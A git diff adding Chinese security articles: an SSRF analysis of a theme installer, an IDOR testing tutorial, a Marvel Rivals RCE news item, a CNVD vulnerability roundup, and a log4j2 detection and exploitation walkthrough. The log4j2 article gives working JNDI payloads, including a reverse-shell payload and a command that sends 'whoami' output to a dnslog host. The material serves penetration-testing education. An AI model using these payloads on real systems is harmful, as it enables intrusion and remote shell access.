+![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaY4hehd5WLsAVmLvUs4CSw5zTa3LgumjiaSibYwpGNzy6KBRIS4pUMEvQ/640?wx_fmt=jpeg&from=appmsg "") + +②、第二步，分析 RuntimeUtil.execForStr 方法。Ctrl加鼠标左键点击 execForStr，进入该方法，发现该方法是 Hutool 组件下的工具类，其中底层就是使用的 ProcessBuilder 执行的命令，没什么其他额外需要注意的代码，可自行分析。如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaK8W00ck3D5mibE54ia8pXHebZLtwt6RNzxVUdxeKRic7hbiaGstXDYaic7w/640?wx_fmt=jpeg&from=appmsg "") + +③、第三步，总结来说，底层使用 ProcessBuilder 执行了 git clone 拼接 remoteAddr 的命令，其中 remoteAddr 我们可控，进而通过 git clone 可以进行了网络请求操作，导致触发 SSRF 漏洞。简单说就是 ProcessBuilder 命令执行加上 git clone 触发的 SSRF 漏洞。   + +最后，在第 190 行设置一个断点，内容如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaDZcDHVVjY8ic3ntXPaNbhhyLfNNCibaZMhZEy4V0XbYIy0md1LxpbRwg/640?wx_fmt=jpeg&from=appmsg "") + +这么看来不仅存在 SSRF 漏洞，还可能存在远程命令执行漏洞。 +## 四、SSRF 漏洞验证 + +访问外观 - 主题 - 主题安装的远程拉取功能，键入远程地址和主题名称，点击安装，抓取数据包如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaUQf5A4bS5ESGHLGtHX01NPPfic3xaIMrlO42MFraQelypCIJHrQzYOQ/640?wx_fmt=jpeg&from=appmsg "") + +访问 DNSLog 地址，可以看到存在探测行为，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaD94Pu6vcicWdreYZs0s83MUMA20bRHo3WRcVSlDwaW5c3HFN5iaQLlJA/640?wx_fmt=jpeg&from=appmsg "") + +下面探测内网端口开放情况。 + +我开启了 8080，7089 这两个端口，可以通过响应时长判断出端口开放情况，如果端口开放响应时间很短，如果端口未开放则响应时间边长。 + +端口开放情况探测，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaMVbk1py1FYdZKS6TVSy9UR3sgNGAg0IHvA0aHmuia1GqZSyVGFztA4A/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaMlC8raLPdExAVeIFjhoWylGsbyn9ZPv60z2vM5wsRibQMm214PgYqEw/640?wx_fmt=jpeg&from=appmsg "") + +端口关闭情况探测，如下图所示： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaUtO0bRYYFV5icNJeMKhQMiaNiaibLH5Zlg4IPwIKrAFaGuybzA8IFIzjPA/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/FFcgFn6WVc0YAVzeykIhNJFaHRSTrmriaJbCYXaQu8YhCBYx1BhibSA6kYslx72neFrOnHLw779ib3WkwRt4wtHQA/640?wx_fmt=jpeg&from=appmsg "") + + + diff --git a/doc/web接口漏洞 - 水平越权.md b/doc/web接口漏洞 - 水平越权.md new file mode 100644 index 00000000..2349e201 --- /dev/null +++ b/doc/web接口漏洞 - 水平越权.md @@ -0,0 +1,39 @@ +# web接口漏洞 - 水平越权 +原创 xiaoliao1 信安一把索 2025-02-10 10:21 + +一 +、漏洞介绍： + +水平越权访问是一种“基于数据的访问控制”设计缺陷引起的漏洞。由于服务器端在接收到请求数据进行操作时没有判断数据的所属人/所属部门而导致的越权数据访问漏洞，而这种越权最容易出现的位置就是？Id=（传参值） 和 post 传参的参数中，或者存在个人信息页面，个人资料这些隐藏的接口中 + +二、漏洞原理 + +水平越权漏洞的原理在于，当Web应用程序接收到用户请求时，如果没有对用户的权限进行严格的校验，就可能允许用户执行超出其权限范围的操作。例如，一个用户A通常只能对自己的信息进行增删改查，但如果后台在处理这些操作时没有判断所操作的信息是否属于该用户，就可能允许用户A操作用户B的信息。 + +![](https://mmbiz.qpic.cn/mmbiz_png/SYFH3GGyDoogQ4iafMtd1DbB2QWjzIX7xY1UeHQ3iavU8DTRnPGGHovsERcKibF7nyib06fKK8iaR7PxRVKYhO4Q1Rw/640?wx_fmt=png&from=appmsg "") + +三、漏洞利用 + +方法一： + +往往在挖掘过程程中，拿到同一个站点，别人能挖掘出水平越权或者垂直越权，而你却不能发现，那是因为这些越权漏洞的传参值都是接口在进行，所以我们在挖掘的过程中可以打开 burp 抓住每一个包，然后再去看 burp 中的 http 历史记录，查看接口信息，在进行测试 + +![](https://mmbiz.qpic.cn/mmbiz_png/SYFH3GGyDoogQ4iafMtd1DbB2QWjzIX7xPso4NSk1rCPIsfUu7WExUPlSdcch3xibTWNy2FjsFwPluLhGODc20aA/640?wx_fmt=png&from=appmsg "") + +如果在站点页面是无法看见?sid 这个参数的，而你在 burp 历史包中即可以看见此参数，这个参数就是个人身份的参数，如果没鉴权，那么水平越权就到手。 + +方法二： + + +直接使用浏览器的控制台中的网络即可查找，比如： + +![](https://mmbiz.qpic.cn/mmbiz_png/SYFH3GGyDoogQ4iafMtd1DbB2QWjzIX7xdvZU0zyXf7Y8IcfIkSsdTR1d561Yndg650tsfibCGXgN9vfriafpIfDA/640?wx_fmt=png&from=appmsg "") + +可以看出这个页面，你根本没有任何办法测试水平越权，但是你可以通过查看接口的办法将个人信息的接口查找出来后进行测试： + +![](https://mmbiz.qpic.cn/mmbiz_png/SYFH3GGyDoogQ4iafMtd1DbB2QWjzIX7xjNhDgr5yewWJ0riaD2qnoOOmibj0ZX93WgdujeQFibS5PqGwA4J3cM8pQ/640?wx_fmt=png&from=appmsg "") + +调用后，你可以将参数？abllid=参数值换为别人的参数，即可测试是否存在越权 + +![](https://mmbiz.qpic.cn/mmbiz_png/SYFH3GGyDoogQ4iafMtd1DbB2QWjzIX7xddibeWO4XvMhTlRp08HciaeGRdKq8wKl0uxt81v1kO3XS1tmLKhHHricg/640?wx_fmt=png&from=appmsg "") + diff --git a/doc/【安全圈】未修补的漫威游戏RCE漏洞可能会让黑客接管PC和PS5.md b/doc/【安全圈】未修补的漫威游戏RCE漏洞可能会让黑客接管PC和PS5.md new file mode 100644 index 00000000..f885f0d2 --- /dev/null +++ b/doc/【安全圈】未修补的漫威游戏RCE漏洞可能会让黑客接管PC和PS5.md @@ -0,0 +1,100 @@ +# 【安全圈】未修补的漫威游戏RCE漏洞可能会让黑客接管PC和PS5 + 安全圈 2025-02-10 11:01 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +安全漏洞 + + +热门网络游戏《Marvel Rivals》被发现存在一个严重的安全漏洞，这引起了人们对黑客可能利用毫无戒心的玩家进行攻击的警惕。 + +该漏洞被认定为远程代码执行(RCE) 漏洞，允许同一网络上的攻击者在另一个玩家的设备上运行任意代码。这一漏洞凸显了人们对游戏行业安全实践的持续担忧。 +## 远程代码执行漏洞 + +该问题源于 Marvel Rivals 的修补程序系统，该系统使用远程代码执行来更新游戏。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/aBHpjnrGyljs6GkTOXpyzqt2vHJib8ajQzx9TOxAGl1RRRSvX9nIAmWST0u6BDp1m58vbb9pEBLiby6icFfVJLwjA/640?wx_fmt=jpeg&from=appmsg "") + +然而，系统无法验证它是否连接到合法的游戏服务器。更糟糕的是，游戏以管理员权限在玩家的设备上运行，这是一项旨在防止作弊的措施，但却大大增加了被利用的风险。 + +不安全的服务器验证和提升的权限相结合，为攻击者创造了一场完美风暴。 + +黑客只需与受害者位于同一个 Wi-Fi 网络上，便可以在受害者不知情的情况下在其设备上运行有害命令。 + +RCE 漏洞是软件中最危险的漏洞之一，因为它们可以让攻击者完全控制系统。 + +此漏洞的影响范围不仅限于 PC。根据研究人员分享的概念验证视频，此漏洞还可作为攻击运行Marvel Rivals的 PlayStation 5 游戏机的切入点。 + +这引发了人们对更广泛的平台安全性以及其他游戏或系统中可能出现类似漏洞的担忧。 + +此次漏洞的发现凸显了游戏行业中一个反复出现的问题：对安全性关注不足。发现该漏洞的研究人员对开发人员对漏洞报告缺乏响应表示沮丧。 + +他们透露，在过去的一年里，他们已经在主要游戏中发现了至少五个严重的错误，其中三个由于开发人员反应迟钝或漠不关心而仍未修补。 + +许多游戏公司缺乏漏洞赏金计划，这加剧了这个问题。安全研究人员往往不愿意负责任地披露漏洞，因为没有激励措施或明确的报告渠道。相反，有些人可能会创建黑客或机器人，这可能更有利可图，但对玩家群体不利。 + +“安全研究人员很难向大多数游戏开发公司报告漏洞。最重要的是，大多数公司都没有漏洞赏金计划。”研究人员说。 + +开发人员必须优先验证服务器连接、限制管理权限并建立清晰的漏洞报告渠道。漏洞赏金计划（如一些公司成功实施的计划）可以大大鼓励负责任的披露并提高整体游戏安全性。 + +这一漏洞的发现得益于与多位贡献者的合作，包括 AeonLucid、LukeFZ、nitro 和 sanktanglia，他们协助进行网络加密分析。 + +随着网络游戏越来越受欢迎，其成为网络攻击目标的吸引力也越来越大。开发人员必须采取主动措施，确保他们的游戏对玩家来说是安全的，以免此类漏洞被大规模利用。 + +来源：https://cybersecuritynews.com/unpatched-marvel-game-rce-exploit/ + +  END   + + +阅读推荐 + + +[【安全圈】DeepSeek 应用程序在未加密的情况下传输敏感用户和设备数据](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067721&idx=1&sn=fd6e5278ffdaa6a2bc2cd75bf7489edf&scene=21#wechat_redirect) + + + +[【安全圈】黑客利用 LLMjacking 牟利，以每月 30 美元的价格出售被盗的 AI 访问权限](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067721&idx=2&sn=6318faf5565268c7590c5ce1ffbb4f9d&scene=21#wechat_redirect) + + + +[【安全圈】黑客在HuggingFace上传包含恶意代码的AI模型对开发者展开攻击](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067721&idx=3&sn=e5e71e4b9b41dab1cc4c012bcce9bb59&scene=21#wechat_redirect) + + + +[【安全圈】黑客自称已窃取200万个OpenAI账户密码 尽管真实性较低但OpenAI已开始调查](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652067721&idx=4&sn=70968a89dcf0fbff489578b79be5a169&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/【漏洞实战研磨】之细说log4j2.md b/doc/【漏洞实战研磨】之细说log4j2.md new file mode 100644 index 00000000..38e58e16 --- /dev/null +++ b/doc/【漏洞实战研磨】之细说log4j2.md @@ -0,0 +1,150 @@ +# 【漏洞实战研磨】之细说log4j2 +原创 blue澜 小惜渗透 2025-02-10 10:10 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gNBSibliblUwyftzDU3qicTIrqxJjHic6L20T4xalnGAwN2nMFricVVu4rpFdKrqbnILoAy3Vz1KZ1c9iatibnoVuBETw/640?from=appmsg&wx_fmt=png "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/JOETR6lhBcwEOSTRfQgiaSbAWOPzwz5IeCk6nQfZAt91RadHD1KC3Q7P4vAIjHdiaqcug6M4SvTIzt1LqoXmuNibQ/640?from=appmsg&wx_fmt=png "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/8WyGnsaODMVIR8icTXLJSGB3LlQMVaoBFXUas1H2oAszMFyCeauTJsUyoTicPl9F590E339OajvygRr85yshME7Q/640?from=appmsg&wx_fmt=gif "") + +say + +        最近工作生活学习和研究太多，时间着实有点不够用，而且有些文章现在由于某些因素还不能发还得等等，所以一直是静默状态。 +    + +      ✅今天新启动一个合集，我为之起名叫【漏洞实战研磨】，这个我之前已经积攒了很多内容，不过一直没发而已。这个合集主要分享对于某个漏洞的细致打磨，比如一个漏洞，如何探测，探测有哪些方式，哪些方式好用，有哪些坑，以及重要的一点如何利用，利用过程又会存在哪些坑，以及对于这些漏洞的经验。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/wGWEpySAHSrAiaTMVtoAQegc1kWnWRIuM3p0pQtn6FibQukZn4BaPaY2hoIOgz6IkAqswUNhibM3Ps7mUqiaEQYJCA/640?from=appmsg&wx_fmt=png "") + + + +🤔log4j2 Rce算是当年轰动一时的核弹级漏洞了，但是经过我亲身的种种经历表明这个nday利用率依然很高，很多大厂的公网资产我前阵子也挖到过，虽然漏洞存在，但是并不是每个人都能发现的，挖洞这东西需要天时地利人和🤣，干扰因素太多，可能有的时候就是别人幸运，你则挖不到😑，所以我写这篇文章来探寻记录一下目前针对该漏洞的探测和利用的最优解。 +### 1.1 探测 + +✅log4j漏洞的Burp探测插件主流的就那么几款，接下来我分别介绍一下并尝试寻找最优的插件 + +1️⃣**加载后界面如下，由于编译的时候是Log4j2Scan 0.13.1，所以就以这个版本命名** + +地址为：https://github.com/whwlsfb/Log4j2Scan（不建议使用） + +![image-20240812105457173](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWv2XmVcqceHQVJL5CUzwVBgMuqP7X7y50XibA9h1IWaVfUje9DlSpdyiaQ/640?wx_fmt=png&from=appmsg "") + +有一说一这个插件写的还是很不错的，但是实际利用起来还是有一些问题，它可以设置poc格式和Fuzz的地方，但是我在实际使用的时候识别率较低并且发包量巨大，即便有它能识别出来的漏洞，估计也得个10分钟才能展现同时由于它抢占扫描流量，导致其它插件不起作用，如果你比较贪直接将poc和fuzz点满，那么恭喜你你的Burp插件全都静默了🫨，针对于这点你当然可以修改配置达到减少发包量，不过对于稍微不怎么注意这些插件配置和效果的师傅来讲就是个大坑了，毕竟当时我也是后知后觉才发现它的问题的😅 + +![image-20240812105948855](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvkK3hmCVRFG7Iic8t9FhElYKZH9aq8dNGIctW0iaUvt4KMJWicibsPDe81Q/640?wx_fmt=png&from=appmsg "") + +2️⃣**然后也是我之前用了很长一段时间的（找不到地址了），就以log4j2Scan v0.7来命名吧** +，如下所示，这个插件没有UI界面，查看output能看到具体的Scan信息，效率很高基本上秒出结果 + +![image-20240812112118002](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvkicicuVbicbrLy6PDGYhg8ZPQ3mMOobv2UOlIicOPhXsVN2yB9dwRJMqjg/640?wx_fmt=png&from=appmsg "") + +可以看到它是通过dnslog.cn来判断的，当然很多大厂都已经屏蔽了dnslog.cn，甚至会直接拦截出现dnslog字样的请求 + +![image-20240812131915245](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvg9LOzQDreIbTfxftibHKYudS1dfooCTJHEYb54Zg2ib4ibbPMZXLkyg0w/640?wx_fmt=png&from=appmsg "") + +所以我们做一个测试看看如果拦截dnslog.cn，这个插件还有没有用，我这里不通过iptables而是通过更改本地hosts来模拟，这样比较简单 + +![image-20240812142236576](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWv7ajr93CLYs2fdszxF0qxWguD1cW23FtBicVUFibwQBvY4qpAHTVHJicAw/640?wx_fmt=png&from=appmsg "") + +进入到靶场容器内部，确保dnslog.cn被解析到127.0.0.1 + +![image-20240812142321325](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWv4Ew0HOfWl3FQKjmbDb9CcR7ffibHF4BMib2FOTdwSKCqEV0nnSf80ZcQ/640?wx_fmt=png&from=appmsg "") + +可以看到已经扫不出来了❌ + +![image-20240812142758472](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvzq8bqRAcPqQnHNrJuiaYVIAj49K0yAawHkCwz4kyuas9yZCDwSEYiaqg/640?wx_fmt=png&from=appmsg "") + +于是，如果大厂屏蔽了dnslog.cn，就这样被错过了，然后我们可以改为下面的yakit继续验证 + +3️⃣**yakit自带的插件** + + +当我们更改工具，使用yakit里面的插件的时候如下图 + +![image-20240812121541377](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWv8zALEyVJ8DZkibuMRRh8ia0Pic1Y1pkEHbh8ibs4pUNM9yJEZUWFhyFAEw/640?wx_fmt=png&from=appmsg "") + +发现可以正常被扫描到，命中两条dnslog--> iyhc.eu.org +和dgrh3.cn + +![image-20240812122109362](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvbC1bRWkLQUxyac2p66GgrFamf4kyYb9oLCJOsibuhnicyxP5On3TDrvQ/640?wx_fmt=png&from=appmsg "") + +那么我们继续，通过屏蔽这两个域名来看看如果屏蔽后，还能不能被扫描到，如下修改，这里由于像之前那样修改hosts不能用通配符，只能挨个子域名限制，所以这里改变一下策略，本地起一个dns，然后该靶场走这个dns服务器，具体怎么实现我就不多废话了有兴趣的自己研究吧，或者自己用java写一个，很可惜当我屏蔽了这些地址后，yakit也识别不出来了 + +![image-20240812181517615](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWv64ia62A4JZ6Hgy8hrf9J6j6ia9JZ7mPAAm7DFpwLjn6AtIdotdeEQ8Ew/640?wx_fmt=png&from=appmsg "") + +但是其实这里严格来说，yakit就够用了，因为像burp插件的dnslog.cn或者ceye.io这种被禁用的可能性很大，但是yakit的这两个域名其实可用性还是很高的，大部分厂家可能也不会禁用iyhc.eu.org +和dgrh3.cn + +4️⃣**xray和Ez** + +其实像我这种平时用burp都用习惯了，测个系统测完为了防止上述情况，再用yakit跑一遍不太现实，但是相信很多师傅测试的时候都会用xray和Ez最后跑一遍，用来查缺补漏，所以这里再看下他们的效果 + +他们扫描原理差不多，都得搭建返连平台，我这里以xray举例，返连平台建议参考：http://ktear.net/archives/xrayreverse + +秒出结果，使用xray来探测也是一个比较好的解决方案，不过就是需要公网服务器搭建返连平台 + +![image-20240812205425591](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvGZuo68tFaVBY65EF0QanCDHgTHqy71qY1aib3eRdHiad7r98uUExBvEw/640?wx_fmt=png&from=appmsg "") + +5️⃣**log4jScan_Modify** + +https://github.com/r00tSe7en/log4jScan_Modify + +这个是一个魔改版的插件，识别方式就是自己公网vps启一个JNDIMonitor服务，然后这个插件需要将源码里面的监测地址改成自己的，然后自己编译 + +### 1.2 利用 + +利用的话可以使用的工具有很多，现有的有https://github.com/wyzxxz/jndi_tool + +利用的话直接vps启动ldap服务 +``` +java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl `whoami`.xxx.dnslog.cn" +``` + +结果 + +![image-20240819154422978](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWv8BRrIdvfAMWLSXV2qS0EicLfu0Er8bnhJlB5ibW9W0IFAFWMZFvmjzzw/640?wx_fmt=png&from=appmsg "") + +然后这里利用jndi_tool +反弹shell的时候出错，同样的命令在靶场的docker容器里面直接执行就没问题，但是通过ldap却不行，判断应该是> +符号导致的 + +然后直接换工具利用JNDIExploit-1.4-SNAPSHOT.jar +，用Basic/ReverseShell的payload反弹 + +vps： +``` +java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip +``` + +payload： +``` +${jndi:ldap://ldapip:1389/Basic/ReverseShell/反弹vps的ip/端口 +``` + +或者也可以用 +``` +${jndi:ldap://ldapip:1389/Basic/Command/Base64/[base64_encoded_cmd]} +``` + +反弹成功🎉 + +![image-20240819155946400](https://mmbiz.qpic.cn/sz_mmbiz_png/mxIibC6HQFwxBzb4MtpicGqY6ZvWGfBPWvYOcYOBZTS9UdEPymVniaA5iahIt47zADoxMQ4o9icnGzmHSAWX3mO8wPA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/dB8siaunhHjrNHg8sYVBcWg4fWXg7xZgVCUqPjPl4JJq1icnoRc6gSlYKYgqxMhRuhMfmWR5VyVpE5wADeMwj5IA/640 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/xCVyYvjFyj0KpMSFvRvJASxC4cHetibm3NcOl7JDQVSqlajDR9uGgC8FUw83DTZ3BzA74QbPfsN5jNtjqNN3ryA/640?wx_fmt=gif&from=appmsg "") + + +[在渗透测试中开启透视外挂](https://mp.weixin.qq.com/s?__biz=Mzg3OTcxMjE2NQ==&mid=2247486862&idx=1&sn=7f4d20289e6d19f3182b71df5a42748d&scene=21#wechat_redirect) + + + +[小程序渗透 小程序sign逆向的两种思路](https://mp.weixin.qq.com/s?__biz=Mzg3OTcxMjE2NQ==&mid=2247487174&idx=1&sn=c0aa1f5fbfe6321d0408ee361c041d36&scene=21#wechat_redirect) + + + +[Nacos 0day（derby+源码）分析](https://mp.weixin.qq.com/s?__biz=Mzg3OTcxMjE2NQ==&mid=2247486997&idx=1&sn=033bad8f04a30ec56d735d5621f7b930&scene=21#wechat_redirect) + + diff --git a/doc/【资讯】央行等六部门发布《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》.md b/doc/【资讯】央行等六部门发布《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》.md new file mode 100644 index 00000000..4f8ca972 --- /dev/null +++ b/doc/【资讯】央行等六部门发布《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》.md @@ -0,0 +1,63 @@ +# 【资讯】央行等六部门发布《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》 +中国人民银行 网络与信息法学会 2025-02-10 10:00 + +# ↑关注网络与信息法学会 获得更多精彩 + +**中国人民银行 金融监管总局 最高人民法院** + +**国家发展改革委 商务部 市场监管总局** + +**关于《关于规范供应链金融业务** + +**引导供应链信息服务机构更好服务** + +**中小企业融资****有关事宜的通知** + +**（征求意见稿）》** + +**公开征求意见的通知** + +**** +为强化供应链金融业务规范管理，提升金融服务实体经济质效，中国人民银行会同金融监管总局、最高人民法院、国家发展改革委、商务部、市场监管总局起草了《关于规范供应链金融业务 +引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》，现向社会公开征求意见。公众可通过以下途径和方式提出反馈意见： + +　　一、通过电子邮件将意见发送至：scshbpjc@pbc.gov.cn。邮件标题请注明“规范供应链金融业务征求意见”字样。 + +　　二、通过信函方式将意见寄至：北京市西城区金融大街30号中国人民银行金融市场司（邮编：100033），并请在信封上注明“规范供应链金融业务征求意见”字样。 + +　　意见反馈截止时间为：2025年3月8日。 + +　　附件1： +《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》.pdf + +　　附件2： +《关于规范供应链金融业务 引导供应链信息服务机构更好服务中小企业融资有关事宜的通知（征求意见稿）》起草说明.pdf + +　　中国人民银行 + +　　国家金融监督管理总局 + +　　最高人民法院 + +　　国家发展和改革委员会 + +　　商务部 + +　　国家市场监督管理总局 + +　　2025年2月6日 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/xmUepOEn6XV3Ws5JtPkK6o3QoUOEUc9S4iakjwhV3Qj9Cex74CKL3K3we8ocEVtKFBiaO5UHxWKFJA8ZgVpJlfRQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/xmUepOEn6XV3Ws5JtPkK6o3QoUOEUc9SicvAxzwgicJ2uM31OQaEI7fHKibQI4hm0lb19icfficSSGVl0hHd7ibny52w/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/xmUepOEn6XUdASqp76Bk0g28wO3qtwPp7ryysQez78icxVn4ib6nTkK7Njm4WibF78zJMibOAd8E1May3icr2tu2iarw/640?wx_fmt=png "") + +来源于： +中国人民银行  + + +![](https://mmbiz.qpic.cn/mmbiz_png/xmUepOEn6XWjFNg4sicSc9bCCNicIqU6IHQXfb1RJ3baw9s2rkk2535WPdHQ1icEUkctIvc6dKMDia3rN5wdBzlF5Q/640?wx_fmt=jpeg "") + + + diff --git a/doc/一次JDBC反序列化漏洞.md b/doc/一次JDBC反序列化漏洞.md index 8367c547..01cd46bc 100644 --- a/doc/一次JDBC反序列化漏洞.md +++ b/doc/一次JDBC反序列化漏洞.md @@ -1,5 +1,5 @@ # 一次JDBC反序列化漏洞 - 嗨嗨安全 2025-02-10 03:17 + 哈拉少安全小队 2025-02-10 10:40 在一次测试中遇到了数据库连接功能，这种功能点一般会存在jdbc反序列化漏洞。 diff --git a/doc/上周关注度较高的产品安全漏洞(20250127-20250209).md b/doc/上周关注度较高的产品安全漏洞(20250127-20250209).md new file mode 100644 index 00000000..c21c5a9c --- /dev/null +++ b/doc/上周关注度较高的产品安全漏洞(20250127-20250209).md @@ -0,0 +1,111 @@ +# 上周关注度较高的产品安全漏洞(20250127-20250209) +原创 CNVD CNVD漏洞平台 2025-02-10 09:48 + +**一、境外厂商产品漏洞** + +**1、Microsoft Message Queuing拒绝服务漏洞** + +Microsoft Message Queuing是用于实现需要高性能的异步和同步场景的解决方案。 + +Microsoft Message Queuing存在安全漏洞。攻击者可利用该漏洞导致系统拒绝服务。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02135 + +**2、Dell BIOS缓冲区溢出漏洞****** + +Dell BIOS是美国戴尔（Dell）公司的一个计算机主板上小型内存芯片上的嵌入式软件。 + +Dell BIOS存在安全漏洞。攻击者利用该漏洞导致系统拒绝服务。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02575 + +**3、Magma堆栈缓冲区溢出漏洞** + +Magma是Magma开源的一个开源软件平台。为网络运营商提供开放、灵活和可扩展的移动核心网络解决方案。 + +Magma存在堆栈缓冲区溢出漏洞，攻击者可利用该漏洞通过发送包含超大“Emergency Number List”信息元素的NAS数据包，使MME与未经身份验证的手机崩溃。 + +参考链接： + +http://cnvd.org.cn/flaw/show/CNVD-2025-02447 + +**4、Siemens Tecnomatix Plant Simulation缓冲区错误漏洞****** + +Siemens Tecnomatix Plant Simulation是德国西门子（Siemens）公司的一个工控设备。利用离散事件仿真的强大功能进行生产量分析和优化，进而改善制造系统性能。 + +Tecnomatix Plant Simulation 16.0.5之前版本存在缓冲区错误漏洞。该漏洞源于程序解析SPP文件时，PlantSimCore.dll库缺少对用户提供的数据的正确验证。攻击者可利用漏洞导致内存损坏。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02601 + +**5、IBM Cognos Controller和IBM Controller信任管理问题漏洞** + +IBM Cognos Controller是美国国际商业机器（IBM）公司的一套商业智能与计划解决方案。该产品具有流程自动化、财务审计控制、创建和管理财务报告等功能。 + +IBM Cognos Controller和IBM Controller存在信任管理问题漏洞，该漏洞源于证书验证不当，攻击者可利用该漏洞获取有效令牌，从而访问受保护的资源。 + +参考链接： + +https://www.cnvd.org.cn/flaw/show/CNVD-2025-02545 + +二、**境内厂商产品漏洞** + +**1、深圳市蓝凌软件股份有限公司蓝凌OA存在任意文件读取漏洞****** + +蓝凌OA是一款智能办公自动化系统，旨在帮助企业实现高效、智能的办公管理。 + +深圳市蓝凌软件股份有限公司蓝凌OA存在任意文件读取漏洞，攻击者可利用该漏洞获取敏感信息。 